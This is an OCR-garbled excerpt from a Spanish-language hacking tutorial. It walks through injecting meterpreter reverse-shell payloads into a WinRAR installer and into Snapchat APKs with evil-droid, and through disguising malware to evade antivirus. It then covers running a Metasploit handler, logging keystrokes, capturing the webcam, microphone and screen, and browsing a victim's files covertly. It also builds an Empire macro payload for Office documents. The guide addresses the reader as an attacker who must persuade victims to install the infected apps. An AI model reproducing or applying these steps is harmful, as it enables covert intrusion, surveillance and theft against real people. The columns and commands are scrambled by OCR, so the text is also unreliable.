Enable Stealth Mode? (Y/N/H): vy

Luego te preguntara si quieres utilizar un payload
de la lista de payloads (que es la lista de payloads
que usa msfvenom), o si quieres subir uno que tu
hayas creado, seleccionaremos que queremos usar
uno de la lista escribiendo L.

Una vez que seleccionaste que quieres usar uno

de la lista, deberas seleccionar cual, aunque todos
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Vorimes

< K :

funcionan, yo sugiero utilizar la opcién 1 que es

meterpreter_reverse_tcp.

Kk ok o o o ok ok ok ok ok ok

* Payloads *
ok kR R R ok ok ok ok ok

[1] Meterpreter Reverse TCP  [stager]
[2] Meterpreter Reverse HTTP [stager]
[3] Meterpreter Reverse HTTPS [stager]
[4] Meterpreter Bind TCP [stager]
[5] Shell Reverse TCP [stager]
[6] Shell Bind TCP [stager]
[7] WinExec

Use a listed payload or custom? (L/C/H): 1

Select payload by index: 1

Ahora, ¢recuerdas lo que habia mencionado que al
crear un malware se necesitan dos cosas? vamos
a darle la informacion de estas dos cosas, laIP y el
Puerto hacia dénde va a intentar conectarse al
ejecutarse, recuerda que, si estas haciendo el
ataque fuera de una red local, deberas usar aqui tu

IP publica.
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El puerto no necesariamente tiene que ser el 443
como Yo lo puse, puede ser cualquier puerto que

no esté siendo utilizado por otro servicio.

ok ok ok ok ok ok ok ok ok sk sk ok sk sk sk sk sk Rk kok Kk Rk

* meterpreter reverse tcp *
3 ok 3k sk o ok ok sk sk ok ok ok ok ook R K ok sk o R ok ok koK R oK

SET LHOST: 192,168.1.67

SET LPORT: 443

Al presionar enter, empezara a procesar, hasta que

te de la pantalla final donde al presionar enter, ya
habras terminado de generar tu archivo infectado.
No se genera un nuevo archivo con esta
herramienta, el archivo que tu seleccionaste al usar

la herramienta se infecté con codigo malicioso.
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1 De nuevo, podriamos crear un malware de Android

;Injection: Verified! |

con msfvenom, sin embargo, vamos a llevarlo un
paso mas elevado al infectar una aplicacion

existente con nuestro malware, haciéndolo mucho

Press [Enter] to continue. . mas dificil de detectar. ‘

’ > \Vamos a utilizar una herramienta llamada
De aqui solo queda que tu victima abra el | ]
evildroid, que en nuestro sistema se encuentra en

ejecutable y tu obtendras acceso remoto a su
la carpeta /opt/Explotacion/Evildroid, asi que

sistema, notaras que el archivo generado se ve
. _ _ i vamos a esa carpeta, y buscaremos el script “evil-
y funciona igual que el archivo original. 0. . . '

droid”, si no tiene permiso de ejecucion, se lo

~ daremos con el comando chmod +x evil-droid.
Infectando aplicaciones Android con malware :/# cd /opt/Explotacion/evildroidy/
/L lon/evildroid# 1s

< evil-droid icons README.md t
maviles mas utilizado en el mundo, y, debido a lo : ‘xplotacion/evildroid# chmod +x evil-droid

Android es el sistema operativo de dispositivos

mucho que las personas utilizan y guardan

informacion en el celular hoy en dia, es uno de los Ahora ejecutaremos el archivo escribiendo./evil-

sistemas donde mas informacion podriamos droid e instalaremos todas las dependencias que

obtener de poderlo explotar. nos solicite e iniciaremos los servicios de
Esta practica sugiero realizarla en el emulador de Metasploit presionando yes en las ventanas
Android Nox. emergentes.
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Execute framework and Services?

Al iniciarse la herramienta, tendras un menu de

opciones.
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Esta herramienta hace su trabajo basandose en el
payload para Android de Metasploit, y tienes unas
cuantas opciones dependiendo de lo que busques
hacer.
1. APK MSF
Esta opcion crea un malware para Android,
igual que msfvenom, realmente no hace
nada mas, no lo recomiendo mas que para

pruebas y practica de nivel basico.

2. Backdoor APK Original (OLD)
Esta opcion infecta a una aplicacién con
codigo malicioso que te dara acceso remoto
al dispositivo. Sin embargo, usa un método
de infeccion mas adecuado para
aplicaciones que fueron creadas hace varios
afos y que no han sido actualizadas mucho,
por ejemplo, videojuegos o aplicaciones de
herramientas podrian ser infectadas por este

método.
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3. Backdoor APK Original (NEW)
Esta opcién infecta a una aplicacion con
codigo malicioso que te dara acceso remoto
al dispositivo. Esta utiliza un método mas
adecuado para aplicaciones mas modernas,

como por ejemplo Snapchat.

4. Bypass AV APK (ICON CHANGE)
No todas las aplicaciones pueden ser
infectadas, asi que una alternativa es
cambiar el icono y evadir el sistema
antivirus, por ejemplo, si vas a pasar un
“WhatsApp Gold” con malware, y no puedes
infectar el WhatsApp original, puedes
simplemente cambiarle el icono al malware
que creaste con msfvenom.

5. Start Listener
Empezar el escuchador, esta opcion inicia el
manejador para escuchar conexiones del
malware.

Cada opcion es util en diferentes situaciones, sin

embargo, para este ejemplo, vamos a inyectar a
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una aplicacion decentemente moderna, Snapchat,

para esto, seleccionaremos la opcion 3.

[#] BACKDOOR APK ORIGINAL (NEW)

Al escribir 3 y presionar enter, nos pedira los dos
requisitos para crear malware, IP y Puerto, en
forma de LHOST y LPORT, de nuevo, recuerda
que, si haras ataques globales, usa tu IP publica.
Nombra tu archivo como gustes, recuerda que tu

victima vera este nombre.

4 SET LHOST & (%] & SET LPORT % @

Your-Local-ip: 0 ; Your-Public-ip: SRR  example: 4444
| 192,168,167 44y

| Cancel ‘ 0K ' Cancel '1 OK

3

2 PAYLOAD NAME % Fx )

example: evilapk
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Selecciona el P
ayload d : - , . e
y e Metasploit que utilizaras, Y finalmente selecciona la aplicacion a la que vas @

inyectar, en el sistema que descargaste ya pre-

descargue algunas aplicaciones (no todas
n con este método), entre ellas, Snapchat,

en este caso yo sugiero

android/meterpreter/reverse_tcp, pero aun asi

funcionan los demas. funci
nciona

| que si funciona, sin embargo, puedes descargar

| cualquier otra de apkpure.com u alguna otra fuente

% EVIL-DROID #
e intentarlo.
Chose payload option: @ ¥
o @ o opnoaos [

Choose Dptmn
Nam e

(»  android/shell/reverse_tcp

i android/shell/reverse_htip gk

(1 android/shell/reverse_https = gb::rd'apk
= netflix.apk

t=:  android/meterpreter/reverse_tcp k
- note.ap

¢} android/meterpreter/reverse_http hat apk
- snapchat.apk

(_+  android/meterpreter/reverse_https otk
= snapchatviejo.ap
— whatsapp.apk
La primera vez que 10 inicies te pedira un

mente presiona enter en todo,

(1 android/meterpreter_reverse_tcp
(J android/meterpreter_reverse_http

5 android/meterpreter_reverse_htips
cuestionario, simple

hasta al final que te pregunte que siya terminaste,

luego empezara a procesar. inyectando la

Cancel H

aplicacion.
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AR G U S _ oo donde vas a controlar al sistema de la victima, esto
te ahorraria algunos minutos de configuracion al

A ] seleccionar “multi-Handler”
[*] Generating apk payload .
[*] Removing 1.apk framework file... % EVIL-DROID OPTIONS ® @

[*] Decompiling Original APK...

Choose an option bellow:

 Choose | Option
Cuando termine, te mostrara un mensaje de j : ;
Multi-Handler :

. + Attack-Vector
se guardé la aplicacién infectada.

& EVIL-DROID @

terminado, junto con la ubicacién y nombre donde

Main-Menu
‘ ) Exit

BACKDOORED APK : Jopt/Explotacion/evildroid/evilap ; :
Libro.apk |

: o BT
OK e ]

:

. . .Como funciona?
De ahi basta con ingresar a esa ruta, y convencer a

la victima que instale dicha aplicacién en su La teorfa de como funciona este script es muy
dispositivo, también te aparecera una ventana sencillo, esencialmente, agarra dos aplicaciones, la
preguntandote si quieres que te autoejecute el buena, que tu seleccionaste, y crea una ‘mala’,
escuchador, si la maquina en donde creaste el que es el payload de Metasploit, descompila
archivo malicioso es el mismo que tiene la IP ambas, y lo que quedan son objetos llamados

“smali”, manifest, que es donde se piden los
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ot@kali:~/Desktop# msfconsole

Una vez abierto, estaras en lo que se conoce como

permisos, y el objeto/método principal, todo dividido
en carpetas, entonces el script agarra el objeto de

la aplicacién “mala” y la en la carpeta de la =
aplicacion “mala”y la pega en la carpe la consola de Metasploit, siempre que tengas en la

buena’, modifica el codigo del objeto/metodo terminal msf > puedes asumir que estas en esta

rincipal para que mande llamar al objeto “malo” g ’ .
Breipay paia Qs | Y consola, si tienes algo después del msf, sigues en

modifi ifest para pedir mas permisos, una 2 ;
ifica el manifest para p P la consola, sin embargo, probablemente estas

vez termi o eso. compila la aplicacion (la buena -
ez terminad 0, comp P ( dentro de uno de los médulos.

ahora infectada con el método “malo”), y la firma, y
listo, ahi tienes una aplicacion con funcionalidad

original, pero con una funcionalidad oculta que te

da acceso remoto al sistema de la victima.

Controlando al sistema remotamente

Ahora que ya creaste un programa malicioso que te

dara acceso remoto (un RAT) al sistema que lo

1795 exploits - 1019 auxiliary - 310 post ]
538 payloads - 41 encoders - 10 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp |

ejecute, debes cumplir con el segundo requisito de

un RAT, que es un manejador, también conocido

como handler, para hacer esto, abriremos

Metasploit.
Para abrir Metasploit, escribe msfconsole en la Dentro de aqui es donde te sirven las palabras

terminal. reservadas de Metasploit, en este momento ya

creamos malwares, entonces nos interesa tener un
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escuchador o handler, asi que utilizaremos el
comando use exploit/multi/handler para abrir el
handler, nota la palabra reservada “use” y como

cambia el modulo en la consola.

msf exploit( I =

Ahora, un handler tiene varias variables, la primera
y mas importante, es “;qué voy a controlar?”, y
esto se refiere a que PAYLOAD va a manejar, asi
que vamos a darle el comando set PAYLOAD
<payload>, en este caso, si estamos controlando
Windows, el payload fue
/windows/meterpreter/reverse_tcp, asi que el
comando seria set PAYLOAD
windows/meterpreter/reverse_tcp, asimismo, si
fuéramos a controlar Android, seria set PAYLOAD
android/meterpreter/reverse_tcp, cualquiera sea
el caso, escribes el payload que hayas utilizado

para crear tu archivo malicioso.
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msf > use exploit/multi/handler|
|
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fex ) > set PAYLOAD windows/meterpreter/reverse tcp
104D => windows/meterpreter/reverse tcp

Luego, tienes que configurar las siguientes
variables, para saber cuales son, basta con escribir
la(s) palabra(s) reservadas show options. Aqui,
veras en mayusculas las variables que tienes que
darle a este handler, y si es requerido o no, en este
caso es obvio, ya que vas a controlar un RAT, necesitas
las dos cosas que siempre necesita un RAT, que son la
IP (LHOST) y el Puerto (LPORT), nota que siempre que
sea LPORT o LHOST significa que es la IP del
atacante, cuando sea RPORT o RHOST es |a IP de la
victima.
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msf exploit( ) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description

Exit technique

LHOST yes The listen addres||le options (exploit/multi/handler):
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Wildcard Target
Para darle valor a estas variables, basta con utilizar
la palabra reservada set, luego del nombre de la
variable y su valor. Recuerda que el LPORT tiene

que ser igual al que pusiste en el payload, sin

embargo, el LHOST siempre es la IP local, ya que
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el servicio se corre localmente, aunque la conexién
llegue a la IP publica.

Luego de darle valor a las variables, podemos
escribir show options de nuevo para confirmar

que este adecuadamente configurado.

f explodt( ) > set LHOST 192,168.1.67
5T => 192.168.1.67

f EX[ﬂ.Oit( ) > set LPORT 443

RT => 443

i explodt(m ) > show options

Name Current Setting Required Description

yload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

Exit technique
LHOST 192.168.1.67 Ves The listen address
LPORT 443 yes The listen port
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Y finalmente, escribimos la palabra reservada
exploit para ejecutar el comando, en este punto
estamos escuchando, esperando recibir las
conexiones una vez que se ejecute el codigo

malicioso en la maquina de la victima.

) > exploit

msf exploit(

[*] Started reverse TCP handler on 192.168.1.67:4

Cuando la victima abra el archivo malicioso, por ‘

ejemplo, en este caso el WinRAR en un Windows,

la terminal te mostrara que estan llegando

paquetes, la prueba de que tienes control del
sistema es cuando aparece la palabra meterpreter
>, que significa que estas dentro del sistema y :

tienes control de este.

msf exploit( > exploit

[*] Started reverse TCP handler on 192,168.1.67:443
[*] Sending stage (179779 bytes) to 192.168.1,141
{*] Meterpreter session 1 opened (192.168.1,67:443 -» 192.168.1.141:49813) at 2018-08-02 23

neterpreter > ||

7 i ﬂ A
% WinRAR 550 L= :
Copyright © 1993-2017
[/ por Alexander Roshal
i
winrar Carpeta de destino
Ep - |Examha&'... '

- lo que se llama “sesion”, por ejemplo, en el caso

‘VWH'TF =

Mientras que en la maquina de la victima aparece

como un programa cualquiera.

Esta es una version de prueba del compresor WinRAR.
Cualguiera puede usarla durante un periodo de prueha de 40 dias.

POR FAYOR LEA DETENIDAMENTE EL ACUERDO DE
LICENCIA SIGUIENTE ANTES DE CONTINUAR CON LA
INSTALACION.

ACUERDO DE LICEMNCIA DE USUARIO FINAL

|

. - . “x P M
El siguiente acuerdo de licencia 2s una raduccion del acuerdo ariginal, ¥
esciito en inglés en incluido en la version inglesa de WinRAR Encasode [

| i

Si acepta el CONTRATO DE LICENCIA DE USUARTO FINAL (EULA), por favor pulse [Instalar]. 5ino

esta de acuerdo, por faver pulse [Cancelar],
\ [ Cancelar 3

i Instalar-

Ahora, una vez que tienes un meterpreter, estas en

anterior, es la sesion 1, pero si infectd a otra

maquina, se abrira una sesion 2, solo puedo




interactuar con una sesion a la vez, sin embargo,
puedo tener mas de una sesion activa.

Para ver los comandos basicos que puedes hacer
en una maquina comprometida, puedes escribir la
palabra reservada help, y te saldra una lista de

comandos que puedes ejecutar.

enumdesktops  List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop

1dletime Returns the number of seconds the remote user has been idle
keyscan dump  Dump the keystroke buffer

keyscan start Start capturing keystrokes

keyscan stop  Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

record_mic Record audio from the default microphone for X seconds
webcam chat  Start a video chat

webcam list  List webcams

webcam snap  Take a snapshot from the specified webcam

webcam stream Play a video stream from the specified webcam
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Con estos comandos puedes hacer cosas como
obtener informacion del sistema, con sysinfo, del
usuario, con getuid, capturas de pantalla, con
screenshot, capturas de teclado(keylogger) con
keyscan_start, entre otras cosas que mencionaré

a continuacion.

Informacion del sistema

Algo de lo primero que quieres hacer siempre que
obtengas acceso a un sistema por medio de un
RAT, es ver la informacion del sistema, es decir,
que sistema operativo es, que IP tiene, etc.

Para esto, puedes utilizar el comando sysinfo, que
te dira el sistema operativo y version de este del

sistema.
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meterpreter > sysinfo
[Computer '
0S

Architecture
System Language
Domain

Logged On Users
Meterpreter

WIN-KABNAUTJILSB
Windows 7 (Build 760p)
X64 |
es ES

WORKGROUP

P

Xx86/windows

Camara Web y Micréfono

<

Por otro lado, el micréfono, activado con el
comando record_mic -d <segundos a grabar>
<ruta de grabado>, este comando es mas (til para
actividades de espionaje o auditoria, por ejemplo,
si quisieras grabar 30 segundos el microfono,

escribirias record_mic -d 30

Captura de pantalla

Para activar la camara web, basta con ejecutar el I

comando webcam_snap, y la camara se activara
(la limitante es que si la camara esta bloqueada o
tapada), muchas computadoras tienen LEDs que

avisan cuando se activa.
meterpreter > webcam snhap
[*] Starting...
{+] Got frame

/root/oQnulzpo. j peg

saved to:

Webcam shot
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Oftra cosa muy comun al hacer auditorias es ver
que esta haciendo o viendo la victima, con el
comando screenshot puedes obtener una captura
de pantalla del sistema sin que la victima se dé

cuenta.

eterpreter > screenshot

creenshot saved to: /root/Desktop/qlGzOkon.]peg
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Keylogger

Antes de ver formas mas sofisticadas de robar
contrasenas, usaremos las mas simples, que es
grabar todo lo que la victima teclea en la
computadora con un keylogger, que se inicia con el
comando keyscan_start, puedes ver lo que grabo
con el comando keyscan_dump, y se detiene con

el comando keyscan_stop.
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‘i % 5 | Documento - WordPad
|
POl Inicio  Ver v
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Prueba, si esto fuera informacion sensible, se hubiera podido robar,

wroreter > Keyscan start

rting the keystroke sniffer ...

orpreter = Keyscan dump

iing captured keystrokes, ..

VISCULAS<MAYUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULASS<MAYU
YUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYLSCULAS><MAYUSCULA
LAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULAS><MAYUSCULAS>Prueba, si esto fuera infor

ion sensible, se hubiera podido robar.

eroreter > keyscan_stop
iping_the keystroke sniffer. ..

Informacion del usuario
Diferentes usuarios en un sistema tienen diferentes
niveles de privilegios, asi que es elemental saber

qué nivel de privilegios tienes en el sistema,

puedes obtenerlo con el comando getuid.

terpreter > getuld
aver username: WIN-KABNAUTILSB\WhiteSuit Hacking
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También podrias ver todo lo que esta haciendo el

"WHITE SUIT

en segundo plano y volver al meterpreter usando

Ver procesos
control z.

; eter > shell
objetivo por medio de los procesos, los cuales 5 196 created,
, o = _ el 1 created,
podras modificar, cerrar o utilizar para migrar, crosoft Windows [Versibn 6.1,7600]

q | | d yright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
pueades ver |os procesos con el comando ps.

\Users\WhiteSuit Hacking\Downloads>"C

Como puedes ver, nos muestra los permisos, rutas ninate channel 12 [y/N] n

e identificaciones de los procesos.

(sers\WhiteSuit Hacking\Downloads>"Z
ckground channel 17 [y/N]

Manejo de archivos

Tanto en shell como en meterpreter, aunque con
mas control y funcionalidad en el segundo, nos
podemos mover en los archivos del sistema y

A modificar, descargar, borrar o subir archivos,
Hay algunos comandos que no puedes realizar en

puedes usar comandos comunes de Linux para
meterpreter, por que corre en base PowerShell,

. moverte (dentro de meterpreter), o del sistema
pero es muy sencillo pasarte a una shell con el

operativo donde estés si estas en una shell.
comando shell.
Una vez en una shell, puedes terminar la shell

usando control ¢ y volver a meterpreter, o ponerla
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meterpreter > pwd
C:\Users\WhiteSuit Hacking\Downloads

meterpreter > Is
Listing: C:\Users\WhiteSuit Hacklng\Downloadq

Size Type Last modified

100666/ rw-rw-rw- 282 fll 2018-04-23 10:02:30 -0500 desktop.inj
100777 /rwxrwxrwx 2120192 fil  2018-08-02 23:30:39 -0500 Winrar,exe

Estos son algunos de los comandos que puedes

utilizar para esto dentro de meterpreter.

Read the contents of a file to

Change directory

checksum Retrieve the checksum of a file
cp Copy source to destination

dir List files (alias for 1s)
download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcd Change local working directory

tls List local files

Lpwd Print local working directory

s List files
mkdir Make directory

mv Move source to destination

pwd Print working directaory

rm Delete the specified file

rmdir Remove directory
search Search for files

Name

the screen

show_mount List all mount points/logical drives

uptoad Upload a file or directory
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Informacion de interfaces de red
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Siempre que estés en un sistema externo, una de

las primeras cosas es saber como se esta

conectando el sistema a la red y que IP tiene.

Puedes sacar esta informacion bastante facil

pidiendo las interfaces con el comando ifconfig.

Recuerda que luego este sistema te puede servir

para atacar a otros sistemas dentro de la misma

red, asi que conocer esta informacion es muy

importante.

meterpreter > ifconfig

iterface 11

Conexi®n de red Intel(R) PR0O/1000 MT

srdvare MAC : 00:0¢:29:be:d4:77

1l i 1500
W4 Address : 192.168.1.141
4 Netmask : 255.255.255.0

W6 Address : fe80::fcfc:1498:6662:5b26
W6 Netmask : Ffff:ffff:ffff:ffff:;
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Archivos Office infectados (EMPIRE)

Un ejecutable infectado no es la unica forma de
comprometer un dispositivo Windows, hay diversas
formas de hacer esto, lo Unico que se necesita es
una forma de ejecutar codigo o comandos en el
sistema. Es aqui donde entra Empire, esta es una
herramienta que originalmente fue disefiada para
post-explotacion, pero también tiene algunas
funcionalidades interesantes que se pueden utilizar
para comprometer un sistema Windows al abrir un
documento Office como Word, PowerPoint y Excel,
notaras que esta herramienta tiene muchas
similitudes con Metasploit en cuanto a estructura,
sin embargo, las palabras reservadas son
diferentes asi que toma esto en cuenta al utilizarla,
ademas, esta escrita en Python, mientras que
Metasploit por el contrario en Ruby, lo que
principalmente notaras es que Empire es mucho
mas sensible al uso de mayusculas que Metasploit,

en donde puedes utilizar o no utilizarlas.
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Nota: Necesitas acceso a Office para crear este

archivo malicioso.

Instalacion Empire

Antes de utilizar Empire, deberas instalarlo, para
hacer esto, ve en la carpeta de Empire usando el
comando cd /opt/Explotacion/Empire, y luego a la
carpeta setup escribiendo cd setup, y ejecuta el
script de instalacion con el comando ./install.sh.

:/# cd /opt/Explotacion/Empire/

: Jopt/Expl *afiawamp?nf# s
ngelog Dockerflle emplre LICENSE README.md VERSION

' plugins
Lre# cd setup/
I ire/setup# 1s

requirements.txt setup_database.py
reset.sh Xar-1.5.2

=—i| §H|

get-pip. Py
install.sh
: Jopt/Explotacion/Empire/setup# ,/install.sh [}

Simplemente presiona enter en todas las
preguntas, y al terminar el proceso de instalacion

Empire deberia estar abierto.
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el Estructura de Empire

Rl RS SRR e S S T W e La estructura de Empire esta dividida de manera
un poco menos predecible la estructura de esta,

que esta dividida en tres funciones principales:

\/

\ /
! I 1. Listeners
i

Al igual que Metasploit, se necesita un manejador

para escuchar las conexiones del codigo malicioso,

282 modules currently loaded . o s
o RAT, que se ejecuta en la maquina del objetivo,

0 listeners currently active . , :
sin embargo, aqui no se configura un escuchador,

QRagentsiclkrentlySactiie si no un modelo de escuchador, y puedes tener

: varios modelos para escuchar diferentes puertos y

(Empire) > |} _ _ _ _

tipos de conexiones al mismo tiempo, esta carpeta

es donde estan estos modelos y la informacion

Para abrir de nuevo Empire, deberas irte a la
para configurarlos.

2. Modules

Los médulos en este caso son scripts de post-

carpeta inicial de Empire, /opt/Explotacion/Empire
y ejecutar el comando para iniciar Empire

escribiendo .Jempire en la terminal.

explotacion que se utilizan una vez que ya tengas

: /opt/Explotacion/Empire# Lls B acceso a un sistema.
changelog ¢ Dockerfile downloads en
- Jopt/Explotacion/Empire# ./empire |
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3. Stagers
Finalmente, los stagers en este caso actuan como
el médulo de payload de Metasploit, esta parte de
Empire es la que permite crear codigo malicioso
que te dara acceso remoto al objetivo.

También existe un concepto llamado agents, y
esto se refiere a las maquinas a las que tienes
acceso remotamente, es el equivalente en

Metasploit a una sesion.

Palabras reservadas Empire

Al igual que Metasploit, Empire tiene varias
palabras reservadas para diferentes usos, te

explicare las principales.

1. Help

Este comando, que es el puedes utilizar en

cualquier momento, te dara una lista de comandos

que puedes ejecutar en ese momento.
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2. Agents
Este comando te mostraré los agentes, los cuales
representan a los sistemas comprometidos y
accesibles por la herramienta en ese momento.

3. Interact
Este comando te permitira interactuar, en otras
palabras, controlar, a algun agente, para esto basta
con escribir interact <ID de agente>

4. Listeners
Este comando te mostrara los escuchadores que
tengas corriendo en un dado momento, recuerda
que, para poder realizar cualquier ataque,
necesitas tener un escuchador levantado, si lo
tienes iniciado al escribir listeners te mostrara algo

como lo siguiente.

re) > listeners
ve listeners:

Delay/Jitter

Module Host

http://192,168.1.67:80

Wonire sur




5. Info
Escribir info en un médulo o comando te mostrara

las opciones que tienes para configurar, es decir,

las variables del ataque, algo similar a lo siguiente.
(Empire: ) = info

Name: HTTP{S]
Categoery: client server

Authors:
@harmioy
tnls] listener (Pawerhelt or Python) that uses a
GET/POST approach,
HTTPTS) Options:

Name Required  Value

default [OXY CIE als ([dond

a e or (ntt‘n'_'r;:lse the Uistener to exit (Ma/dd7yyyy).
i ate d

Nang True nLep Name for the listener.
l.a\iru:hs:r True poershell -nof -sta «u 1 -enc Launcher string.

6. Set
Al igual que en Metasploit, la palabra set se utiliza
para asignar valor a una variable, hay que recordar
que aqui son muy importantes las mayusculas, por
ejemplo, para cambiar la variable Host, escribiria
set Host y el valor, que en este caso es
http://192.168.1.67:80

Enpire: ) > set Host http://192.168.1.67:8
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Al ejecutar el comando y confirmar con el comando
info, podras ver el cambio en la variable.

True http://192.168.1,67:80
7. Searchmodule

Hostname/IP for staging.

Para buscar algun modulo, es decir, comando que
puedes utilizar en post-explotacion, basta con
escribir el comando usemodule <busqueda>, en
el que pones el script que estés buscando, por
ejemplo, si busco un script que muestra un
mensaje, escribiria searchmodule message,

recibiendo la siguiente respuesta.
(Empire) > searchmodule message

je_background

Change the login message for the user.

powershell/trollsploit/message

Displays a specified message to the user.

rollsploit

Change the login message for the user.
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8. Usemodule

Para utilizar alguno de los modulos, al saber su 10.List

Este comando puede ser utilizado para enlistar

ruta, deberas utilizar el comando usemodule

seguido de la ruta de este, por ejemplo, si listeners activos o agentes activos escribiendo list

quisiéramos utilizar el comando en . agents o list listeners.
powershellltrollsploitlmessage, tendriamos que 13(F|npit'e) > list listeners
\:“.-'

escribir usemodule ‘ ‘

powershelIltrollsploitlmessage

Active listeners:
i

|
: ; Name Mod
(Empire) > usemodule powershell/trollsplonﬂt/mes',,”- 4 me HOSt
(Empire: pﬂw%wahéllftrﬂliﬁplﬁit/ma%ﬁ%ﬁe) o | http http://192,168.1.67:80

9. Usestager (Enpire) > list agents

Al querer usar un stager, €s probablemente el :| Epire) =
segundo paso gque usaremos enun ataque oenla |
mayoria de ellos (lo primero seria lanzar un
listener), escribirias usestager <ruta>, por

ejemplo, usestager Jwindows/macro

(Empire) > usestager windows /macr
(Empire: stager/w macro) >
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11.Main

La palabra clave main se utiliza en esta

herramienta para volver al menu principal.

[ (Empire) = help

interact
list
listeners
load

plugin
plugins
preobfuscate
reload

reset

resource
searchmoedule
set

show
usemodule
usestager

12.Execute
La palabra clave execute se utiliza en Empire para
ejecutar stagers y médulos, es el equivalente de

exploit o run de Metasploit.

Jump to the Agents menu.

Add/display credentials to/from the database.
Exit Empire

Displays the help menu.

Interact with a particular agent.

Lists active agents or listeners.

Interact with active listeners.

Loads Empire modules from a non-standard folder.
Load a plugin file to extend Empire.

List all available and active plugins.
Preobfuscate PowerShell module source files
Reload ohe (or all) Empire modules.

Reset a global option (e.g. IP whitelists).

Read and execute a list of Empire commands from a fil
Search Empire module names/descriptions.

Set a global eption (e.g. IP whitelists).

Show a glebal option (e.g. IP whitelists).

Use an Empire module.

Use an Empire stager.
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Crear el archivo infectado de Microsoft
Office

Ahora vamos a crear un documento Word con
codigo malicioso, este codigo hara que tengamos
acceso remoto al powershell de Windows, lo cual
compromete el sistema en un alto nivel

Para esto, con Empire abierto, deberemos seguir

los siguientes pasos.

Crear un listener

Primero que nada, en Empire debemos crear un
listener, que va a ser utilizado para recibir las
conexiones, asi como para configurar el cédigo
malicioso para que sepa a donde y por que puerto
mandar los paquetes.

Para esto, primero utilizas el comando listeners,
que te mostrara los listeners activos (si es que
hay), y te metera a la carpeta de listeners, aqui
puedes utilizar el comando help para ver el resto

de los comandos que puedes utilizar.
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(Empire) > listeners

(Empire: listeners) > help

agents
back
creds
exit

help

info

kill
launcher
list
listeners
main
resource
tselistener
usestager

Jump to the agents ment.

Go back to the main menu.

Display/return credentials from the database.
Exit Empire.

Displays the help menu,

Display information for the given active listener
Kill one or all active listeners.

Generate an initial launcher for a listener.
List all active listeners (or agents).

Jump to the listeners menu.

Go back to the main menu,

Use an Empire Listener module.
Use an Empire stager.

Luego utiliza el comando uselistener http para
utilizar el modelo de listener http, estos modelos
(hay varios) estan en la carpeta listeners dentro de

la carpeta donde instalaste Empire.
(Empire: liste
(Empire:
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Read and execute a tist of Empire commands from a

|(Empire:

ken
eds

¢, or other).

\[
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Escribe info para que veas las configuraciones
posibles que le puedes hacer al listener,
confirmaras que la variable Host esté correcta con
tu IP y tu puerto, normalmente Empire la

autoconfigura, asi que pocas veces tendras que
modificar esto.

) > info

False

nunicate with your Slack instance
False

default ord) to use for request (def

Proxy credentials (|damainy
False

True fittp
Trie powershell -noP -sta -w 1 -enc
Trie 5

Date ffor the Listener to exit (MM/dd/yyyy).
Name' for the listener,
Launcher string,

60

L1 be sent to.

True

False

Tl 8.0

False  defalt Pr ot other)
False default equest (default, none, or ot
True 820 TU=B62A{Yal"]:Li0HOde5{bF 1)

True 0

True

True

False

Ahora para iniciar el listener, simplemente escribe

execute y presiona enter, a este punto deberia de
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confirmarte que el listener fue iniciado

exitosamente.

{Empire: ) > execute

[*] Starting Llistener 'http’

* Serving Flask app "http" (lazy loading)
* Environment: production

Use a production WSGI server instead.
+ Debug mode; off
f[+] Listener successfully started!
(Empire: N |

Escribe main y presiona enter, y en el menu

principal ahora aparecera el listener activo.
282 modules currently loade(
1 listeners currently active

0@ agents currently active

(Empire) > mainfj

Crear el codigo malicioso

Ahora vamos a crear el codigo malicioso, para
esto, ejecutamos el comando usestager
windows/macro, esto lo que hace es llevarte al
stager que es el que puede crear cddigo malicioso
en forma de macro para inyectar en archivos que
puedan ejecutarlo, tal como los documentos de

office.

) nmire) > usestager windows/macro
pire: stager/windows

Al ejecutar el comando info, te mostrara las

- variables y los valores asignados a estos.
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(Empire:
Name: Macro
Description:
Generates an office macro
Options:
Name

Listener

putFile False

obfuscate False

obfuscateConmand False

True
False

Language
ProxyCreds

UserAgent False

Proxy False

StagerRetries False

indovis/macr

Required

a) > info

VWHITE
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for Empire, compatible

with office 97-2003, and 2007 file types.

Value

/tmp/macro

False

Description

Listener to generate stager for

File to output macro to, otherwise
displayed on the screen.

cyitch, Obfuscate the launcher
powershell code, uses the
pbfuscateCommand for obfuscation types
For powershell only.

Tuken\All\l,Launcher\STDIN++\1246?The Tnvoke-0bfuscation command

powershell
default
default
default

0

only used if Obfuscate switch 1s True.
For povershell only.

Language of the stager to generate.
Proxy credentials
([domain\lusername:password) to use for
request (default, none, of other).
User-agent string to Use for the staging
request (default, none, of other)

Proxy fo use for request (default, none,
or other).

Times for the stager to retry
connecting.

‘VWHITE SUIT

[root/Desktop/virus.txt con el comando set
OutFile /root/Desktop/virus.txt

ger/windows/macro) > set Listener http
tager/windows/macr ‘
ager/windows/macro) > set OutFile /root/Desktop/virus.txt

Podemos confirmar los cambios con info.

acro) > info

fion:
ites an office macro for Empire, compati

; 3 atible
office 97-2003, and m@??ﬂetymsp

Descriptien
Listener to generate sta fi
. _ : g ger for.

/!DOt!DESKtDD[VlFHSithFllE to output macro to, otherwise

d1§played on the screen, : :

Switch, Obfuscate the launcher

powershell code, uses the

ObfuscateCommand for obfuscation types

AT For powershell only. -

(en\A \L,Lduncher\STDIN++§1245?The Invoke-0bfuscation command to use

Only used if Obfuscate switch is True g
For powershell only. .

Required

False

scatecommand False

Vamos a cambiar dos
Listener, en la cual le

listener que hemos ini

serd la variable OutFi

el comando set Listener http, y el segundo cambio

ruta donde guardaremos el codigo, que sera

variables, la primera, es el
daremos el nombre del

ciado, que se llama http, con

le, que cambiaremos por la
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erRetries

True
False

powershell
default

False default

False default

False ()

Language of the stager to generate.
Proxy credentials
([domain\]username:password) to use for
request (default, none, or other). .
